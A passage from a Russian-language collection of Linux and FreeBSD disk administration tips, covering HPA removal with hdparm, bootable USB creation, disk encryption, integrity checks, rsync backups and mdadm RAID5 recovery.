    определился как 32Мб.
    Манипуляции со шлейфами (портами SATA) биосом, операционкой и другие танцы с бубном не помогали. 
    Samsung был реанимирован с помощью HDD Capacity Restore под Windows у товарища. 
    Дома диск определился правильно. Предполагая, что проблема была с Samsung'ом я продолжил 
    манипуляции с дисками дома. К моему удивлению я через некоторое время обнаружил, 
    что Western Digital тоже стал определяться как 32Мб.
    
    
    Причина:
    
    Причина в том, что материнская плата (BIOS) резервировала некоторое место под свои нужды. 
    Это зовется HPA (Host Protected Area). После данной манипуляции по каким-то причинам диск 
    начинал определяться неправильно. Насколько мне известно, такое происходит только 
    с терабайтными жесткими дисками, если объем меньше, то активизация HPA не повлияет 
    на определение размера BIOS'ом. Активизация данной функции (области) происходила при подключении
     к определённому SATA порту. На моей материнке есть два типа SATA портов: т. н. SATA-II 0/1/2/3 
    (желтые, от контроллера Intel ICH8) и т. н. GSATA-II 0/1 (красные, от контроллера J-Micron). 
    Данный эффект происходил на порту SATA-II 0 (возможно и на других портах SATA-II; по крайней
     мере HDD на GSATA-II 0/1 не затрагивались). Соответственно в первом случае я подключал
     Samsung к SATA-II, а WD к GSATA-II, во втором случае, я их поменял (естественно, я не придавал этому значения).
    
    
    Решение:
    
    Под Windows данная проблема решается программой HDD Capacity Restore
     http://www.bestvistadownloads.com/download/t-free-hdd-capacity-restore-download-aqauycgh.html
    
    Во  FreeBSD 8 это делается путём установки : hw.ata.setmax="1" в loader.conf
    
    Под Linux это решается стандартными средствами - командой hdparm.
    
    Вот пример:
    
    Диск без HPA:
    
       $ hdparm -N /dev/sdd
       /dev/sdd:
        max sectors   = 1953525168/1953525168, HPA is disabled
    
    Диск с HPA:
    
       $ hdparm -N /dev/sdc
       /dev/sdc:
        max sectors   = 586070255/586072368, HPA is enabled
    
    Для отключения HPA для второго случая используем комманду
    
       $ hdparm -N p586072368 /dev/sdc
    
    То есть мы приравниваем количество секторов, доступных пользователю, к
    максимальном количеству секторов на диске.
    Буква 'p' необходима для того, чтобы настройки сохранились в flash жесткого диска 
    (то есть чтобы после выключения питания они сохранились). Менять параметр с ключем 'p' 
    можно только один раз за сессию жесткого диска (сессия - промежуток времени
    между включениям и выключением).
    После изменения параметра необходимо выключить и включить винчестер (по факту - компьютер).
    
    Что касается решения корня проблемы - есть мнение, что прошивка F7 материнской
    платы ее устраняет, но я не пробовал.
    
    Дополнительная информация:
    
    http://en.wikipedia.org/wiki/Host_Protected_Area
    http://www.linux.gr/cgi-bin/man/man2html?hdparm+8
    http://www.gigabyte.ru/forum/viewtopic.php?f=23&t=25076&p=142923
    http://www.gigabyte.com.tw/Products/Motherboard/Products_Spec.aspx?ProductID=2361
    
     
    ----* Как в Fedora Linux создать загрузочный USB Flash на базе ISO образа (доп. ссылка 1)   [комментарии]
     
    Создание загрузочного USB Flash на базе ISO образа, без форматирования 
    и потери сохраненных на Flash данных (ставится прямо в VFAT, используя свободное место) 
    
    Устанавливаем пакет livecd-tools
       yum  install livecd-tools
    
    Создаем загрузочный USB Flash (устройство /dev/sdb1)
       livecd-iso-to-disk livecd.iso /dev/sdb1 
    
    
    Возможные проблемы и их решения:
    
    
    Если программа выдала сообщение "Partition isn't marked bootable!", запускаем:
       parted /dev/sdb
    Выполняем команду print и смотрим номер раздела (если раздел один, то будет 1)
       Выполняем команду: toggle 1 boot
       Выходим из parted: quit
       Или в fdisk используем команду "a".
    
    Если программа выдала сообщение "Need to have a filesystem label or UUID for your USB device":
       dosfslabel /dev/sdb1 usbdisk
    вместо usbdisk можно указать любое имя, на ваше усмотрение.
    
    Если программа выдала сообщение "MBR appears to be blank", копируем образ MBR:
       cat /usr/lib/syslinux/mbr.bin > /dev/sdb
    
    Если fdisk -l /dev/sdb выдает "Partition has different physical/logical
    endings!" - нужно переформатировать Flash:
      Создаем в fdisk один primary раздел типа 6 (FAT)
      Форматируем: mkdosfs -n usbdisk /dev/sdb1
    
    
    Тестируем подготовленный загрузочный Flash:
       qemu -hda /dev/sdb1 -m 256 -std-vga
    
    Если при загрузке пишет: "SYSLINUX 3.xx ... EBIOS Load error - Boot error",
    нужно обновить пакет syslinux до версии 3.50 или выше.
    
     
    ----* Как обновить данные в Linux ядре, после изменения таблицы разделов (доп. ссылка 1)   [комментарии]
     
    После изменения таблицы разделов стандартный fdisk предлагает перезагрузиться, 
    чтобы ядро восприняло изменения.
    Для того, чтобы обойтись без перезагрузки можно использовать утилиту
     partprobe (просто запустить без параметров). partprobe входит в состав пакета parted.
    
    Вариант без использования partprobe (подсказал Andrey Mitrofanov):
       blockdev --rereadpt
    
     
    ----* Увеличение скорости работы ext2/ext3 с директориями c большим числом файлов внутри (доп. ссылка 1)   Автор: Роман Лагунов  [комментарии]
     
    Для ускорения работы ext2/ext3 в пакете e2fsprogs начиная с версии 1.39 появилась 
    возможность использования технологии "directory indexing", или "HTree".
    
    Чтобы включить dir_index в /dev/hdb1, для отмонтированного раздела нужно выполнить команду:
        tune2fs -O +dir_index /dev/hdb1
    
    Далее нужно перестроить индекс директорий:
        e2fsck -Df /dev/hdb1
    
     
    ----* Шифрованный виртуальный диск под FreeBSD 5 (доп. ссылка 1)   Автор: levsha  [комментарии]
     
    Предполагается что в полном распоряжении есть FreeBSD 5.X
    Разборки "что ставить на сервер: 4.X или 5.X" не обсуждаются.
    В случае использования FreeBSD 4.X необходимо вместо mdconfig использовать vnconfig
    и вместо gbde использовать vncrypt.
    
    Компилируем ядро с 
    
       options GEOM_BDE # поддержка шифрованых дисков
       device          md              # Memory "disks"
    
    Создаем директорию, где все будет валяться
    
       mkdir /usr/cert/
    
    Создаем файл, где будет файловая система (размером 100 мегабайт)
    
       dd if=/dev/zero of=fimage bs=1m count=100
    
    создаем девайс на основании этого файла и создем там таблицу разделов на весь диск
    
       mdconfig -a -t vnode -f /usr/cert/fimage -u 0
       disklabel -r -w md0 auto
    
    Инициируем gbde патишен
    
       gbde init /dev/md0c -i -L /usr/cert/fimage.lock
    
    В текстовом редакторе откроется конфиг файл для этого шифрованого раздела.
    Если используется UFS 1 или2 то рекомендуется изменить параметр sector_size с 512 на 2048.
    
    Сохраняемся, вводим два раза пароль, который будет использоваться для доступа к
    этому шифрованому разделу.
    
    Подключаем шифрованый раздел (будет запрошен пароль для подключения).
    
       gbde attach /dev/md0c -l /usr/cert/fimage.lock
    
    Создаем на полученном разделе файловую систему.
    
       newfs -U /dev/md0c.bde
    
    Создаем директорию, куда будем маунтить:
    
       mkdir /usr/cert/sslcert
    
    Монтируем
    
       mount /dev/md0c.bde /usr/cert/sslcert
    
    Типа все работает. Теперь создадим скрит для удобства
    монтирования/размонтирования с таким содержанием:
    
    #!/bin/sh
    
    case "$1" in
            start)
                    /sbin/mdconfig -a -t vnode -f /usr/cert/fimage -u 0
                    /sbin/gbde attach /dev/md0c -l /usr/cert/fimage.lock
                    /sbin/mount /dev/md0c.bde /usr/cert/sslcert
            ;;
            stop)
                    /sbin/umount /usr/cert/sslcert
                    /sbin/gbde detach /dev/md0c
                    /sbin/mdconfig -d -u 0
            ;;
            *)
                    echo ""
                    echo "Usage: `basename $0` { start | stop }"
                    echo ""
                    exit 64
            ;;
    esac
    
    
    Все, пользуемся в свое удовольствие.
    
    При подготовке использованы источники: FreeBSD Handbook , mdconfig(8), gbde(8)
    
     
    ----* Шифрованный swap в FreeBSD 6.0   Автор: neozoid  [комментарии]
     
    Добавить в /boot/loader.conf:
       geom_eli_load="YES"
    
    или в конфиг ядра:
       device crypto
       options GEOM_ELI
    
    в fstab к разделу swap к "Device" дописать ".eli" например:
       # Device                Mountpoint      FStype  Options         Dump    Pass#
       #/dev/ad0s3b            none            swap    sw              0       0
       /dev/ad0s3b.eli         none            swap    sw              0       0
    
    при загрузке имеем:
       GEOM_ELI: Device ad0s3b.eli created.
       GEOM_ELI:     Cipher: AES
       GEOM_ELI: Key length: 256
       GEOM_ELI:     Crypto: software
    
    и в моем случае:
       %pstat -s
       Device          1K-blocks     Used    Avail Capacity
       /dev/ad0s3b.eli   1048576        0  1048576     0%
    
     
    ----* Причины ошибок при попытке создать раздел в FreeBSD 5 (доп. ссылка 1)   Автор: lavr  [комментарии]
     
    В 5'ке из-за GEOM'а есть защита от изменений в таблице партиций
    на уже установленной системе. 
    Например, ругается:
    
       ERROR: Unable to write data to disk amrd3
    
    Вот из-за этого и нельзя записать информацию в таблицу партиций.
    
    Решение:
    вариант 1:
    
       - смотрим переменную ядра: sysctl kern.geom.debugflags
       - устанавливаем в следующее значение для разрешения записи в таблицу партиций: 
          sysctl kern.geom.debugflags=16
       - теперь можем вручную конфигурить диски, массив и писать в таблицу
    партиций
    
       тонкость: не используй sysinstall - даже при установленной переменной
    kern.geom.debugflags=16 эта утилита не позволит записать в таблицу.
    
    вариант 2:
    
       - если хочешь использовать именно sysinstall - грузись с CD
    и используй sysinstall
    
     
    ----* Изменение порядка нумерации дисковых разделов в Linux   Автор: sleepycat  [обсудить]
     
    Если вы создавали разделы начиная с конца диска к началу, в выводе команды
    
       # fdisk -l /dev/hda
    
    (здесь и далее, hda - заменить на ваше устройство) скорее всего, будет
    присутствовать следующая фраза:
    
        Partition table entries are not in disk order
    
    по причине того, что разделы пронумерованы не в порядке следования, а в порядке создания. 
    Исправить нумерацию разделов на диске можно следующим образом:
    
    Загружаемся с live-cd либо (если этот диск не не содержит необходимых для
    функциоирования системы разделов)
    отмонтируем все его разделы. Далее:
    
       # fdisk /dev/hda
    
    после приглашения ввода команды жмем клавишу 'x' для перехода в режим раширенной функциональности, 
    после чего клавишу 'f' для исправления таблицы разделов, и клавишу 'w' для записи изменений. 
    После чего, можно завершать работу с fdisk, проверять расположение разделов на диске и, 
    при необходимости, не забыть исправить записи в fstab.
    
    Наименования используемых пунктов fdisk (можно напомнить себе прочитав help
    после нажатия клавиши 'm'):
    
       x   extra functionality (experts only)
       f   fix partition order
       w   write table to disk and exit
       q   quit without saving changes
    
     
    ----* Контроль целостности системы штатными средствами   Автор: Avatar  [комментарии]
     
    Что делать если под рукой нет tripwire или osec, а кривой aide вы пользоваться не хотите. 
    Часть функций , таких как проверка прав доступа и изменение файлов, можно
    реализовать штатными стедствами.
    
    Вот маленький скрипт который помещается в crontab и позволяет это реализовать. 
    При желании его функции можно легко расширить.
    
    
    #!/bin/bash
    
    ulimit -t 20
    checkdir="/bin /sbin"
    filedb="/var/tmp/permsecdb"
    email="test@test.ru"
    
    out=$(
    exec 2>&1
    umask 266
    find $checkdir -type f -printf "%m\t" -exec md5sum {} \; >$filedb.tmp
    diff $filedb $filedb.tmp
    mv -f $filedb.tmp $filedb
    )
    if [ "$out" ];then 
        (date; echo; echo "$out") |mail -s "Change permsec `hostname`" $email
    fi
    
    - ulimit лучше выставить не случай не предвиденных ситуаций.
    - checkdir соответственно проверяемые директории
    - filedb текстовой файл базы
    - email куда посылать мыло
    
    Если изменений в системе не было, то сообщения посылаться не будут.
    Сообщение бывает 4 видов 
    
    1 - ошибки
    2 - добавлен файл "> 644	d41d8cd98f00b204e9800998ecf8427e  /bin/12"
    3 - удален файл "< 755	c1a0ff878c603dd91f603059e9c1a0a1  /bin/12"
    4 - изменен файл "
    < 755	ce367ef1e2cca19e6216874cb8c09d96  /bin/12
    ---
    > 755	c1a0ff878c603dd91f603059e9c1a0a1  /bin/12"
    
    Успешного контроля.
    
     
    ----* Как получить информацию о разделах диска для бэкапа   [комментарии]
     
    Linux:
       fdisk -l /dev/hda > partitions.txt
       cat /proc/partitions
    
    BSD:
       disklabel da0s1 > partitions.txt
       Для восстановления или клонирования: 
          fdisk -BI -v -b /boot/mbr da1 # Слайс на весь диск.
          disklabel -R -B -r da1s1 partitions.txt
       Параметры FS, без ее реального создания можно посмотреть через:
          newfs -N /dev/da0s1e
       Для визуального создания или редактирования разделов удобно
       использовать /stand/sysinstall (Configure/Fdisk иди Label),
       в качестве точки монтирования не забыть добавить перед именем "/mnt"
       и создать директорию для монтирования.
       
    
     
    ----* Как уменьшить размер зарезервированного для root места на диске   [комментарии]
     
    Linux: 
       tune2fs -l /dev/hda6      # Смотрим установки
       tune2fs -m 2 /dev/hda2 # Меняем на 2 процента
    
    FreeBSD:
       tunefs -p /dev/da1s1     # Смотрим установки
       tunefs -m 2 /dev/da1s1 # Меняем на 2 процента
    
     
    ----* Как переименовать имена файлов из одной кодировки в другую (доп. ссылка 1)   [комментарии]
     
    Если не переименовывать каталоги:
    
    Вариант 1:
       find | sort -r | while read f; do
         fn=$(basename "$f"|iconv -f koi8-r -t windows-1251);
         [ "$fn" = "$(basename "$f")" ] || mv "$f" "$(dirname "$f")/$fn";
       done 
    
    Вариант 2:
    
       #!/bin/sh
       # аргумент 1 - путь
       # аргумент 2 - из какой кодировки
       # аргумент 3 - в какую кодировку 
       find $1 -regex "$1/.*" | sort -r | while read f; do
          fb=$(basename "$f");
          fd=$(dirname "$f");
          nfb=$(echo "$fb"|iconv -f $2 -t $3);
          [ "$fb" = "$nfb" ] || (mv "$fd/$fb" "$fd/$nfb"; echo "$fd $fb -> $nfb";)
       done
    
    Вариант 3:
    
       Использовать готовую программу для переименования с изменением кодировки http://j3e.de/linux/convmv/
    
     
    ----* Шифрование файлов используя loopback устройство под Debian Linux (доп. ссылка 1)   [комментарии]
     
    Установка пакетов:
        apt-get install loop-aes-utils
        apt-get install cryptsetup
    
    Подгрузка модулей:
       modprobe loop
       modprobe aes
    
    Создаем образ будущего шифрованного раздела:
        dd if=/dev/zero of=/home/marco/crloop bs=1M count=640
    
    Способ 1 (устарел, лучше использовать dm-crypt):
        modprobe cryptoloop
        losetup -e aes /dev/loop0 /home/marco/crloop
        mkfs -t ext2 /dev/loop0
        mount /dev/loop0 /media/cryptovolume
        .....
        umount /media/cryptovolume
        losetup -d /dev/loop0
    
    Способ 2 (рекомендуется для новых ядер):
        modprobe dm-crypt
        losetup /dev/loop0 /home/marco/crloop
        cryptsetup -c aes -y create crloop /dev/loop0
        mkfs.ext3 /dev/mapper/crloop
        mount /dev/mapper/crloop /media/cryptovolume
        .....
        umount /media/cryptovolume
        cryptsetup remove crloop
        losetup -d /dev/loop0.
    
     
    ----* Изменение атрибутов ext2fs и ext3fs используя chattr (доп. ссылка 1)   [обсудить]
     
    Команда chattr позволяет изменять параметры ФС для отдельного файла или директории:
       chattr +a - только добавление данных (append-only), удаление и переименование запрещено;
       chattr +i - запрещено удаление, изменение или переименование (immutable);
       chattr +A - запретить сохранение данных о каждом обращении к файлу (no atime)
       chattr +S - синхронное изменение всех данных на диск, без кэширования;
       chattr +c - файл будет хранится на диске в сжатом виде (нужен отдельный патч для ядра);
       chattr +s - после удаления файла, место на диске забивается нулями (внешний патч);
       chattr +u - резервирование данных файла после удаления (внешний патч);
    
    Пример:
       chattr -R +i /bin /sbin /usr/bin /usr/sbin - запрещаем изменение бинарников
       chattr +a /var/log/secure - предотвращаем модификацию лога злоумышленником
    
    Для просмотра расширенных атрибутов используется утилита lsattr.
    
    Для FreeBSD см. man chflags и man security
    
     
    ----* Полный бэкап на дополнительный диск при помощи rsync (доп. ссылка 1)   [комментарии]
     
    Резервный диск монтируем как /backup в read-only режиме.
    По крону еженощно запускаем скрипт следующего содержания:
       /sbin/mount -u -w /backup # пепреводим раздел в rw режим, mount "-o remount,rw /backup" для Linux
       /usr/bin/rsync -a --delete --delete-excluded --max-delete=200 \
          --exclude-from=/etc/ex_files_list.txt / /backup
       RETCODE=$?
       if [ $RETCODE -ne 0 ]; then
          echo "Err code=$RETCODE"| mail -s "RSYNC BACKUP ERROR" alert@test.ru
       fi
       /sbin/mount -u -r /backup # раздел обратно в ro, mount "-o remount,ro /backup" для Linux
    
    Если backup-диск большой, лучше вести две полные копии, на случай краха во
    время бэкапа (или см. опцию --backup);
    
    При бэкапе на другой сервер:
       rsync [...опции как выше] --compress --bwlimit=100 --timeout=120 \
          -e ssh source/ login@backuphost:/backup/node1
    
    Список файлов для исключения из бэкапа (ex_files_list.txt):
       /backup
       /mnt
       /proc
       /tmp
       /var/log
       /usr/obj
       /usr/src
       /usr/tmp
       /usr/ports
       /usr/local/apache/logs
    
     
    ----* Почему на нагруженных серверах лучше использовать SCSI диски, а не IDE.   [комментарии]
     
    1. Качество исполнения, запас прочности и надежность накопителей со SCSI
    интерфейсом как правило выше, чем у IDE.
    
    2. Два подключенных к одному каналу контроллера IDE накопителя, не могут
    одновременно передавать данные по шине.
    
    3. SCSI показывают значительно лучшую производительность в загруженной
    многозадачной среде, при обилии разрозненных параллельных запросов за
    счет более оптимального использования шины передачи данных. (конек IDE -
    линейное чтение, сильная сторона SCSI - случайный доступ).
    
    Поясняю: Специфика IDE такова, что запросы могут передаваться по одной
    шине последовательно (одна труба передачи данных, однопоточный режим).
    Допустим, если 100  процессов обращаются к данным на диске, запросы в
    рамках одного канала контроллера будут обрабатываться один за другим, каждый
    следующий после полного выполнения  предыдущего (связка: выдача
    команды - получение данных).
    
    При  использовании SCSI, допускается перекрытие запросов (организуется
    очередь команд), ответы при этом  будут получены распараллеленно
    (асинхронная передача), при этом устройство
    заведомо зная подробности  по командам находящимся в очереди, производит
    оптимизацию самостоятельно - минимизируя движение головок.
    
     
    ----* Как создать файл устройства для монтирования раздела диска.   [обсудить]
     
    Linux IDE              #  Linux SCSI      #  FreeBSD 4
    mknod /dev/hda b 3 0   # /dev/sda b 8 0   # /dev/ad0 b 116 0x00010002
    mknod /dev/hda1 b 3 1  # /dev/sda1 b 8 1  # /dev/ad0s1 b 116 0x00020002
    mknod /dev/hda2 b 3 2  # /dev/sda2 b 8 2  # /dev/ad0s1a b 116 0x00020000
    mknod /dev/hdb b 3 64  # /dev/sdb b 8 16  # /dev/ad0s1b b 116 0x00020001
    mknod /dev/hdb1 b 3 65 # /dev/sdb1 b 8 17 # /dev/ad0s1c b 116 0x00020002
    mknod /dev/hdc b 22 0  # /dev/sdc b 8 32  # /dev/ad1s1a b 116 0x00020008
    mknod /dev/hdd b 22 64 # /dev/sdd b 8 48  # /dev/da1s1a b 13 0x00020000
    
     
    ----* Как в FreeBSD разрешить пользователю только добавлять данные в файл.   [обсудить]
     
    man chflags; man 2 chflags
    Флаги (chflags флаг файл):
      sappnd - все, кроме root или владельца (uppnd), могут лишь добавлять информацию в конец файла;
      schg - только root или владелец файла (uchg) может изменить, перенести или удалить файл;
      sunlnk - только root или владелец файла (uunlink) может удалить или переименовать файл;
    Чтобы убрать установленный флаг, нужно использовать префикс "no", т.е. nouchg, nuschg и т.д.
    
     
    ----* Как автоматически удалять все файлы в каталоге, созданные позднее N дней   [комментарии]
     
    удаляем старше 1 часа:
            find /var/tmp_log/ -type f -mmin +60 -exec rm -f {} \;
    удаляем старше 10 дней:
            find /var/tmp_log/ -type f -mtime +10 -exec rm -f {} \;
    
     
    ----* Как отформатировать флоппи-диск с FAT.   [комментарии]
     
    Linux:
       mkdosfs -c -f 16 -n "метка тома" /dev/fd0h1440
      или 
       mkfs -t fat16 /dev/fd0h1440
    FreeBSD:
       fdformat -f 1440 /dev/fd0
      или
       newfs_msdos -f 1440 -L "label" fd0
    
     
    ----* Оптимизация дисковой подсистемы в Linux   [обсудить]
     
    man hdparm (например: /sbin/hdparm -c3 -d1 -X34 /dev/hda)
    man elvtune           
    man tune2fs
       echo 128000 > /proc/sys/fs/inode-max # def 16384
       echo 64000 > /proc/sys/fs/file-max  # def 4096 Число одновременно открытых файлов.
      cd /proc/sys/fs/ (в 2.4.x работает автотюнинг)
      /usr/src/linux/Documentation/sysctl/fs.txt
      /usr/src/linux/Documentation/filesystems/proc.txt
    
     
    ----* Как правильно прописать сменные накопители в /etc/fstab   [обсудить]
     
    Для решения проблем с русскими именами файлов в Linux для CDROM,
    дискеты и Windows раздела следует прописать в /etc/fstab:
    /dev/cdrom      /mnt/cdrom      iso9660 ro,nosuid,noauto,exec,user,nodev        0 0
    /dev/fd0        /mnt/floppy     vfat
    iocharset=koi8-r,sync,nosuid,codepage=866,user,--,noauto,nodev,unhide      0 0
    /dev/hda1 /mnt/windows vfat user,exec,umask=0,codepage=866,iocharset=koi8-r 0 0
    
     
    ----* Как увеличить производительность дисковой подсистемы FreeBSD.   [комментарии]
     
    По умолчанию запись на диски в FreeBSD производится в синхронном режиме,
    значительно увеличить скорость записи
     можно активировав асинхронный режим: В /etc/fstab в поле Options добавить async (например rw,async).
    Или для примонтированного раздела: mount -u -o async /home
    Для увеличения производительности IDE дисков, в файле конфигурации ядра можно
    указать для wdc устройств
    flags 0xa0ffa0ff или 0x80ff80ff (подробнее man wd, man ad).
    Для ad: sysctl hw.atamodes; sysctl hw.ata
    Например: sysctl hw.atamodes=pio,pio,---,dma,pio,---,dma,---,
    См. также man atacontrol 
    Третий вариант - активировать в настройках ядра SOFTUPDATES и запустить 
    tunefs -n enable /usr в single-user на размонтированном разделе.
    
     
    ----* Как создать рабочий дубликат Linux или FreeBSD системы.   [обсудить]
     
    1. Монтируем новый жесткий диск.
    
    2. Создаем разделы на новом диске с помощью fdisk (для freebsd /stand/sysintall
    или /usr/sbin/sysinstall). Создаем файловую систему.
    
    3. Копируем файлы на новый диск (кроме каталога /mnt, не допускаем рекурсии !!!)
       find / -xdev | cpio -pdumv /mnt/new    - на каждый раздел.
       или tar cf - /bin /usr /etc д.р.| tar xf - -C /mnt/new
       или cd /mnt/new; dump -0u -f - /директории| restore -r -f -
       или cp -Raxv / /mnt/new  - на каждый раздел.
       или pax -r -w -p e / /mnt  (говорят копирует гораздо быстрее чем dump/restore)
       или просто копируем в Midnight Commander'е (не рекомендуется).
    
       Лучший способ - dump/restore или rsync, иначе можно потерять расширенные атрибуты и ACL.
    
    4. Редактируем /mnt/new/etc/fstab
    
    5. Создаем с помощью /dev/MAKEDEV недостающие устройства (для нового типа диска).
    
    6. mkdir /mnt/new/proc /mnt/new/mnt
    
    7a. Только для Linux: правка /etc/lilo.conf и запуск lilo -r /mnt/new -b /dev/hdb
       При возникновении ошибки при загрузке:
       Было:
       boot=/dev/sda
       default=linux-up
       image=/boot/vmlinuz-up
            label=linux-up
            root=/dev/sda2
            initrd=/boot/initrd-up.img
       
       Предположим, что дубликат размещен на /dev/sdb, тогда меняем boot=/dev/sda на boot=/dev/sdb
       и добавляем:
       disk=/dev/sdb
          bios=0x80
       
      Выполняем lilo -r /mnt/new и не забываем убирать исправления из lilo.conf.
    
    7b. Для freebsd загрузчик устанавливается после разбиения диска на разделы через sysintall.
    PS. Если диски одинаковые можно использовать dd if=/dev/hda of=/dev/hdb,
       если разделы одинаковые: dd if=/dev/hda1 of=/dev/hdb1
    
     
    ----* Как 1 в 1 скопировать файловую систему.   [комментарии]
     
    Копируем /usr в текущую директорию: dump -0u -f - /usr | restore -r -f -
    Для полного бэкапа /usr на ленту: dump -0u -f /dev/st0 /usr
    
     

       CD-ROM, CD-R, AudioCD:

       RAID массивы

    ----* Спасение RAID5 в Linux или восстановление mdadm на другой машине   Автор: petrov.pash  [комментарии]
     
    Сегодня на работе сдох сервер. Без признаков жизни и включения. А на нем важная информация. 
    Не срочная, но важная. Главня проблема в том что нужные файлы были на рэйде
    (mdadm), да еще и на LVM.
    Расскажу, как спасал информацию...
    
    Отключаю диски, достаю, кладу на стол. Сервер отвожу в ремонт. И начинаю реанимировать диски. 
    А схема там такая - из 3-х 400 гигабайтных дисков собран RAID5 в mdadm, 
    поверх рэйда - LVM, на LVM - файловая система XFS.
    
    Подключаю все диски к рабочему компьютеру, пытаюсь загрузиться со своего
    рабочего диска - не грузится.
    Некогда разбираться - пробую грузится с live-cd с Ubuntu. Загрузилось! 
    
    Начинается самое интересное:
    
    N.B. - все операции проводились под root, поэтому нужно в консоли сделать sudo su
    
    1) Поскольку диски sata - открываем консоль и смотрим, что нашлось (ненужные строчки пропущены):
    
       root@ubuntu:/home/ubuntu# dmesg | grep sd
       [ 40.566532] sd 2:0:0:0: [sda] 488397168 512-byte hardware sectors (250059 MB)
       [ 40.592220] sd 2:0:1:0: [sdb] 781422768 512-byte hardware sectors (400088 MB)
       [ 40.611879] sd 3:0:0:0: [sdc] 781422768 512-byte hardware sectors (400088 MB)
       [ 40.635162] sd 3:0:1:0: [sdd] 781422768 512-byte hardware sectors (400088 MB)
       root@ubuntu:/home/ubuntu#
    
    ага. есть 4 диска - 1 диск sda-250GB - это рабочий, остальные (sdb,sdc,sdd) - части рэйда.
    
    2) В live-cd Ubuntu нет ни mdadm, ни lvm. Исправим это. Настраиваем сеть, и выполняем в терминале:
    
       root@ubuntu:/home/ubuntu# apt-get update && apt-get install mdadm lvm2
    
    Установилось. Хорошо, едем дальше.
    
    3) Пытаемся пересобрать RAID в автоматическом режиме:
    
       root@ubuntu:/home/ubuntu# mdadm --assemble --scan
       mdadm: /dev/md0 has been started with 2 drives (out of 3) and 1 spare.
    
       root@ubuntu:/home/ubuntu# cat /proc/mdstat
       Personalities : [raid6] [raid5] [raid4]
       md0 : active raid5 sdc1[0] sdd1[1]
       781417472 blocks level 5, 64k chunk, algorithm 2 [3/2] [UU_]
       unused devices:
    
    Видим что массив нашелся, но сломанный - один диск отвалился.
    Игнорируем, потому что рэйд пятого уровня - позволяет сохранить данные при поломке одного диска. 
    Массив нашелся, поднялся. Двигаемся дальше.
    
    4) Поднимаем LVM:
    
    Загружаем модуль
    
       root@ubuntu:/home/ubuntu# modprobe dm-mod
    
    Активируем LVM:
    
       root@ubuntu:/home/ubuntu# vgchange -a y
       1 logical volume(s) in volume group "files" now active
    
    Проверяем какие logical volumes у нас есть:
    
       root@ubuntu:/home/ubuntu# lvscan
       ACTIVE '/dev/files/filesrv' [700,00 GB] inherit
    
    видим один раздел - /dev/files/filesrv на 700 гигов.
    
    Создаем точку монтирования и монтируем раздел:
    
       root@ubuntu:/home/ubuntu# mkdir /files
       root@ubuntu:/home/ubuntu# mount /dev/files/filesrv /files
    
    Смотрим что получилось:
    
       root@ubuntu:/home/ubuntu# ls -lh /files/
       total 20K
       drwxrwxrwx 79 root root 8,0K 2009-03-30 06:24 other
       drwxrwxrwx 15 root root 4,0K 2008-12-08 05:55 public
       drwxrwxrwt 7 1000 1000 76 2009-04-02 10:33 vmdata
       drwxrwxrwx 5 1000 1000 47 2009-02-20 10:22 webfiles
    
    Ура! Все файлы видны и доступны!
    Теперь можно скопировать их на рабочий диск:
    
       root@ubuntu:/home/ubuntu# mkdir /workhdd
       root@ubuntu:/home/ubuntu# mount /dev/sda4 /workhdd
       root@ubuntu:/home/ubuntu# cp -r /files/vmdata /workhdd/
    
    или через ssh на другой сервер:
    
       root@ubuntu:/home/ubuntu# scp -r /files/vmdata root@192.168.1.6:/files/
    
    После того как все скопировалось - можно заняться восстановлением RAID. Проверяем еще раз статус:
    
       root@ubuntu:/home/ubuntu# cp -r /files/vmdata/
       root@ubuntu:/home/ubuntu# cat /proc/mdstat
       Personalities : [raid6] [raid5] [raid4]
       md0 : active raid5 sdc1[0] sdd1[1]
       781417472 blocks level 5, 64k chunk, algorithm 2 [3/2] [UU_]
       unused devices:
    
    видим что в RAID сейчас два диска - sdc и sdd. Недостающий диск - sdb.
    Добавим его:
    
       root@ubuntu:/home/ubuntu# mdadm /dev/md0 --re-add /dev/sdb1
       mdadm: re-added /dev/sdb1
    
    Диск добавился. Следим за его пересборкой:
    
       root@ubuntu:/home/ubuntu# cat /proc/mdstat
       Personalities : [raid6] [raid5] [raid4]
       md0 : active raid5 sdb1[3] sdc1[0] sdd1[1]
       781417472 blocks level 5, 64k chunk, algorithm 2 [3/2] [UU_]
       [>....................] recovery = 0.0% (95748/390708736) finish=3261.8min speed=1994K/sec
    
    Прогрессбар движется, до окончания пересборки осталось 3261 минута, то есть больше 2 суток. 
    Это уже не нормально, да и диск начал слышно стучать. Понятно. Пора ему на свалку.
    
    Дополнение: чтобы ребилд быстрее проходил, убираем лимит скорости фонового перестроения:
    
    echo 200000 > /proc/sys/dev/raid/speed_limit_min
    echo 200000 > /proc/sys/dev/raid/speed_limit_max
    
    200000 - это пропускная спосбность в Кб, по умолчанию speed_limit_min = 1000
    
     
    ----* Расширение программного RAID1 в Linux до зеркала из трёх дисков   [комментарии]
     
    При добавлении дополнительного диска к RAID1 в mdadm по умолчанию создаётся
    запасной диск (hot-spare), который будет задействован в случае выхода из строя
    одного из входящих в массив дисков.
    
    Для увеличения производительности чтения данных, вместо hot-spare диска можно
    добавить полноценный третий диск в RAID1, т.е. все три диска будут
    заркалированы и операции чтения будут распараллеливаться между ними.
    
    Имеем RAID 1 /dev/md121 из двух разделов /dev/sda1 и /dev/sdb1:
    
       mdadm --detail /dev/md121
       ...
       Number   Major   Minor   RaidDevice State
           0       8        2        0      active sync   /dev/sda1
           1       8       18        1      active sync   /dev/sdb1
    
    Клонируем разделы на третий диск /dev/sdc
    
       sfdisk -d /dev/sda| sed 's/sda/sdc/'| sfdisk /dev/sdc
    
    Добавляем /dev/sdc1 в массив:
    
       mdadm  /dev/md121 --add /dev/sdc1
    
       mdadm --detail /dev/md121
       ...
       Number   Major   Minor   RaidDevice State
           0       8        2        0      active sync   /dev/sda1
           1       8       18        1      active sync   /dev/sdb1
           2       8       34        -      spare   /dev/sdc1
    
    Чтобы /dev/sdc1 стал полноценным участником массива меняем статус spare на active:
    
      mdadm  /dev/md121  --grow --raid-devices=3
    
    Через некоторое время, после того как массив перестроится:
    
      mdadm --detail /dev/md121
       ...
      Number   Major   Minor   RaidDevice State
           0       8        1        0      active sync   /dev/sda1
           1       8       17        1      active sync   /dev/sdb1
           2       8       33        2      active sync   /dev/sdc1
    
     
    ----* Создание отказоустойчивого хранилища на базе FreeBSD или FreeNAS с использованием ZFS, HAST и CARP (доп. ссылка 1)   [комментарии]
     
    Начиная с FreeBSD 8.1 в состав включена поддержка системы репликации устройств
    хранения данных HAST (Highly Avalable STorage), позволяющей создавать
